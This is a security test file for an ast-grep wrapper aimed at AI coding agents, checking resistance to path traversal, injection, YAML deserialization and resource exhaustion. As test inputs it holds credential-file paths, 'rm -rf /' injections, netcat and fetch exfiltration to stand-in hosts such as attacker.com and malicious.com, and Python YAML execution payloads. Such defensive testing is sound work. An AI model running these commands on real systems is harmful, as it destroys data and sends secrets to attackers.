tree-ast-grep-mcp
Version:
Simple, direct ast-grep wrapper for AI coding agents. Zero abstractions, maximum performance.
487 lines (413 loc) • 16.9 kB
JavaScript
/**
* Security and Validation Tests
* Tests for security vulnerabilities, input validation, and malicious input handling
*/
import { SearchTool } from '../../build/tools/search.js';
import { ReplaceTool } from '../../build/tools/replace.js';
import { ScanTool } from '../../build/tools/scan.js';
import { AstGrepBinaryManager } from '../../build/core/binary-manager.js';
import { WorkspaceManager } from '../../build/core/workspace-manager.js';
import { ValidationError, ExecutionError, SecurityError } from '../../build/types/errors.js';
import { TestSuite, TestAssert, withTimeout } from '../utils/test-helpers.js';
import fs from 'fs/promises';
import path from 'path';
import { tmpdir } from 'os';
export default async function runSecurityValidationTests() {
const suite = new TestSuite('Security and Validation Tests');
let binaryManager;
let workspaceManager;
let searchTool;
let replaceTool;
let scanTool;
let tempDir;
suite.beforeAll(async () => {
binaryManager = new AstGrepBinaryManager({ useSystem: true });
workspaceManager = new WorkspaceManager();
searchTool = new SearchTool(binaryManager, workspaceManager);
replaceTool = new ReplaceTool(binaryManager, workspaceManager);
scanTool = new ScanTool(binaryManager, workspaceManager);
try {
await binaryManager.initialize();
} catch (error) {
console.log(' ⚠️ Binary manager initialization failed:', error.message);
}
tempDir = await fs.mkdtemp(path.join(tmpdir(), 'ast-grep-security-test-'));
});
suite.afterAll(async () => {
try {
await fs.rm(tempDir, { recursive: true, force: true });
} catch (error) {
console.log(' ⚠️ Failed to clean up temp directory');
}
});
// =============================================================================
// PATH TRAVERSAL AND DIRECTORY SECURITY TESTS
// =============================================================================
suite.test('should prevent path traversal attacks', async () => {
const pathTraversalAttempts = [
'../../../etc/passwd',
'..\\..\\..\\windows\\system32\\config\\sam',
'/etc/shadow',
'C:\\Windows\\System32\\drivers\\etc\\hosts',
'../../../../../../../../etc/passwd',
'..\\..\\..\\..\\..\\..\\..\\..\\windows\\system32',
'/proc/self/environ',
'/dev/kmem',
'\\\\server\\share\\sensitive',
'file:///etc/passwd',
'http://malicious.com/payload',
'/root/.ssh/id_rsa',
'C:\\Users\\Administrator\\Desktop\\sensitive.txt'
];
for (const maliciousPath of pathTraversalAttempts) {
console.log(` 🔍 Testing path traversal: ${maliciousPath}`);
try {
const result = await searchTool.execute({
pattern: 'console.log($ARG)',
language: 'javascript',
paths: [maliciousPath],
timeoutMs: 5000
});
// If it doesn't throw, it should return a safe result
TestAssert.assertTrue(typeof result === 'object');
TestAssert.assertTrue('matches' in result);
// Should not have accessed sensitive files
if (result.matches && result.matches.length > 0) {
result.matches.forEach(match => {
TestAssert.assertFalse(match.file.includes('passwd'));
TestAssert.assertFalse(match.file.includes('shadow'));
TestAssert.assertFalse(match.file.includes('SAM'));
TestAssert.assertFalse(match.file.includes('id_rsa'));
});
}
} catch (error) {
// Security errors, file not found, or permission errors are acceptable
TestAssert.assertTrue(error instanceof Error);
TestAssert.assertTrue(
error.message.includes('not found') ||
error.message.includes('permission') ||
error.message.includes('access') ||
error.message.includes('denied') ||
error.message.includes('ast-grep not found') ||
error instanceof SecurityError ||
error instanceof ValidationError
);
}
}
});
suite.test('should validate workspace boundaries', async () => {
const workspaceRoot = workspaceManager.getWorkspaceRoot();
// Attempts to access files outside workspace
const outsideWorkspaceAttempts = [
path.join(workspaceRoot, '../../../etc/passwd'),
path.join(workspaceRoot, '..', '..', 'sensitive-file.txt'),
path.resolve(workspaceRoot, '../../../root/.bashrc')
];
for (const outsidePath of outsideWorkspaceAttempts) {
const validation = workspaceManager.validatePath(outsidePath);
TestAssert.assertTrue(typeof validation === 'object');
TestAssert.assertTrue('valid' in validation);
if (validation.valid) {
// If considered valid, the resolved path should be safe
TestAssert.assertTrue('resolvedPath' in validation);
const resolvedPath = validation.resolvedPath;
// Should either be within workspace or a safe system location
TestAssert.assertTrue(
resolvedPath.startsWith(workspaceRoot) ||
resolvedPath.includes('node_modules') ||
!resolvedPath.includes('etc/passwd') &&
!resolvedPath.includes('shadow') &&
!resolvedPath.includes('id_rsa')
);
} else {
// Invalid paths should have error messages
TestAssert.assertTrue('error' in validation);
TestAssert.assertTrue(typeof validation.error === 'string');
}
}
});
// =============================================================================
// CODE INJECTION AND MALICIOUS PATTERN TESTS
// =============================================================================
suite.test('should handle malicious patterns safely', async () => {
const maliciousPatterns = [
// Patterns that might cause infinite loops
'($A)+',
'($A)*',
'($A){999999}',
// Patterns with potential command injection
'$(rm -rf /)',
'$(cat /etc/passwd)',
'`rm -rf /`',
'${process.exit(1)}',
// Patterns with potential regex DoS
'(a+)+b',
'([a-zA-Z0-9])+@([a-zA-Z0-9])+',
// Extremely long patterns
'a'.repeat(10000),
// Patterns with null bytes and control characters
'console.log(\0)',
'console.log(\x00)',
'console.log(\r\n)',
// Patterns attempting to escape syntax
'console.log($ARG); rm -rf /',
'console.log($ARG) && exit(1)',
'console.log($ARG) | nc attacker.com 4444'
];
for (const maliciousPattern of maliciousPatterns) {
console.log(` 🦠 Testing malicious pattern: ${maliciousPattern.substring(0, 50)}...`);
try {
const result = await withTimeout(
searchTool.execute({
pattern: maliciousPattern,
language: 'javascript',
code: 'console.log("safe code");',
timeoutMs: 3000
}),
5000
);
// If it completes, should return safe result
TestAssert.assertTrue(typeof result === 'object');
TestAssert.assertTrue('matches' in result);
} catch (error) {
// Should be proper error handling, not system compromise
TestAssert.assertTrue(error instanceof Error);
TestAssert.assertTrue(
error instanceof ValidationError ||
error instanceof ExecutionError ||
error.message.includes('timeout') ||
error.message.includes('ast-grep not found')
);
// Should not contain evidence of command execution
TestAssert.assertFalse(error.message.includes('rm -rf'));
TestAssert.assertFalse(error.message.includes('/etc/passwd'));
}
}
});
suite.test('should sanitize replacement patterns', async () => {
const maliciousReplacements = [
// Command injection attempts
'logger.info($ARG); $(rm -rf /)',
'logger.info($ARG) && cat /etc/passwd',
'logger.info($ARG) | nc attacker.com 4444',
// Script injection attempts
'logger.info($ARG); </script><script>alert("xss")</script>',
'logger.info($ARG); require("child_process").exec("rm -rf /")',
// File system manipulation
'logger.info($ARG); fs.unlinkSync("/important/file")',
'logger.info($ARG); process.exit(1)',
// Network requests
'logger.info($ARG); fetch("http://malicious.com/steal?data=" + JSON.stringify(process.env))'
];
for (const maliciousReplacement of maliciousReplacements) {
console.log(` 💉 Testing malicious replacement: ${maliciousReplacement.substring(0, 50)}...`);
try {
const result = await withTimeout(
replaceTool.execute({
pattern: 'console.log($ARG)',
replacement: maliciousReplacement,
language: 'javascript',
code: 'console.log("test");',
dryRun: true,
timeoutMs: 3000
}),
5000
);
// Should return safe result structure
TestAssert.assertTrue(typeof result === 'object');
TestAssert.assertTrue('changes' in result || 'summary' in result);
} catch (error) {
// Should handle malicious input gracefully
TestAssert.assertTrue(error instanceof Error);
TestAssert.assertTrue(
error instanceof ValidationError ||
error instanceof ExecutionError ||
error.message.includes('ast-grep not found')
);
}
}
});
// =============================================================================
// INPUT VALIDATION AND SANITIZATION TESTS
// =============================================================================
suite.test('should validate input types strictly', async () => {
const invalidInputs = [
// Non-string patterns
{ pattern: null, language: 'javascript', code: 'test' },
{ pattern: undefined, language: 'javascript', code: 'test' },
{ pattern: 123, language: 'javascript', code: 'test' },
{ pattern: {}, language: 'javascript', code: 'test' },
{ pattern: [], language: 'javascript', code: 'test' },
{ pattern: function() {}, language: 'javascript', code: 'test' },
// Non-string languages
{ pattern: 'test', language: null, code: 'test' },
{ pattern: 'test', language: 123, code: 'test' },
{ pattern: 'test', language: {}, code: 'test' },
// Non-string code
{ pattern: 'test', language: 'javascript', code: null },
{ pattern: 'test', language: 'javascript', code: 123 },
{ pattern: 'test', language: 'javascript', code: {} },
// Non-array paths
{ pattern: 'test', language: 'javascript', paths: 'not-array' },
{ pattern: 'test', language: 'javascript', paths: 123 },
{ pattern: 'test', language: 'javascript', paths: {} },
// Invalid numeric values
{ pattern: 'test', language: 'javascript', code: 'test', context: 'not-number' },
{ pattern: 'test', language: 'javascript', code: 'test', maxMatches: 'not-number' },
{ pattern: 'test', language: 'javascript', code: 'test', timeoutMs: 'not-number' }
];
for (const invalidInput of invalidInputs) {
try {
await searchTool.execute(invalidInput);
TestAssert.assertTrue(false, `Should have thrown validation error for: ${JSON.stringify(invalidInput)}`);
} catch (error) {
TestAssert.assertTrue(error instanceof ValidationError || error instanceof ExecutionError);
}
}
});
suite.test('should handle extremely large inputs safely', async () => {
const extremeInputs = [
// Extremely long strings
{
pattern: 'a'.repeat(100000),
language: 'javascript',
code: 'test'
},
{
pattern: 'console.log($ARG)',
language: 'javascript',
code: 'x'.repeat(1000000) // 1MB of code
},
{
pattern: 'console.log($ARG)',
language: 'x'.repeat(10000), // Very long language name
code: 'test'
}
];
for (const extremeInput of extremeInputs) {
console.log(` 📏 Testing extreme input size...`);
try {
const result = await withTimeout(
searchTool.execute({
...extremeInput,
timeoutMs: 5000
}),
10000
);
// Should either handle gracefully or return reasonable result
TestAssert.assertTrue(typeof result === 'object');
} catch (error) {
// Should handle with proper error types
TestAssert.assertTrue(error instanceof Error);
TestAssert.assertTrue(
error instanceof ValidationError ||
error instanceof ExecutionError ||
error.message.includes('timeout') ||
error.message.includes('memory') ||
error.message.includes('ast-grep not found')
);
}
}
});
// =============================================================================
// YAML INJECTION AND SCAN SECURITY TESTS
// =============================================================================
suite.test('should prevent YAML injection in scan rules', async () => {
const yamlInjectionAttempts = [
// YAML bombs
`
!!python/object/apply:os.system ["rm -rf /"]
`,
// Reference loops
`
a: &anchor
- *anchor
`,
// External entity references
`
rule: !!python/object/apply:subprocess.check_output
- ["cat", "/etc/passwd"]
`,
// Code execution attempts
`
rule:
pattern: console.log
language: javascript
!!python/object/apply:eval ["__import__('os').system('rm -rf /')"]
`,
// Malformed YAML designed to cause parser errors
`{invalid: yaml: structure: {{{{`,
// YAML with embedded null bytes
"rule:\n pattern: test\x00\n language: javascript\x00"
];
for (const maliciousYaml of yamlInjectionAttempts) {
console.log(` 🎯 Testing YAML injection attempt...`);
try {
const result = await withTimeout(
scanTool.execute({
rule: maliciousYaml,
code: 'console.log("test");',
timeoutMs: 3000
}),
5000
);
// If it doesn't throw, should return safe result
TestAssert.assertTrue(typeof result === 'object');
} catch (error) {
// Should handle malicious YAML gracefully
TestAssert.assertTrue(error instanceof Error);
TestAssert.assertTrue(
error instanceof ValidationError ||
error instanceof ExecutionError ||
error.message.includes('yaml') ||
error.message.includes('parse') ||
error.message.includes('ast-grep not found')
);
// Should not show evidence of command execution
TestAssert.assertFalse(error.message.includes('rm -rf'));
TestAssert.assertFalse(error.message.includes('/etc/passwd'));
}
}
});
// =============================================================================
// RESOURCE EXHAUSTION SECURITY TESTS
// =============================================================================
suite.test('should prevent resource exhaustion attacks', async () => {
console.log(' 💾 Testing resource exhaustion prevention...');
// Attempt to create many concurrent operations to exhaust resources
const exhaustionAttempts = Array(50).fill().map((_, i) =>
searchTool.execute({
pattern: `console.log($ARG)`,
language: 'javascript',
code: Array(1000).fill(`console.log("exhaust ${i}");`).join('\n'),
timeoutMs: 2000
})
);
try {
const results = await Promise.allSettled(exhaustionAttempts);
// System should handle this gracefully
const successful = results.filter(r => r.status === 'fulfilled').length;
const failed = results.filter(r => r.status === 'rejected').length;
console.log(` ✅ Resource exhaustion test - Successful: ${successful}, Failed: ${failed}`);
// Should complete all operations (successfully or with proper errors)
TestAssert.assertEqual(successful + failed, 50);
// Failures should be proper error types, not system crashes
results.filter(r => r.status === 'rejected').forEach(result => {
TestAssert.assertTrue(result.reason instanceof Error);
TestAssert.assertTrue(
result.reason instanceof ExecutionError ||
result.reason instanceof ValidationError ||
result.reason.message.includes('timeout') ||
result.reason.message.includes('ast-grep not found')
);
});
} catch (error) {
if (error.message.includes('ast-grep not found')) {
console.log(' ⚠️ Skipping resource exhaustion test - ast-grep not available');
return;
}
throw error;
}
});
return suite.run();
}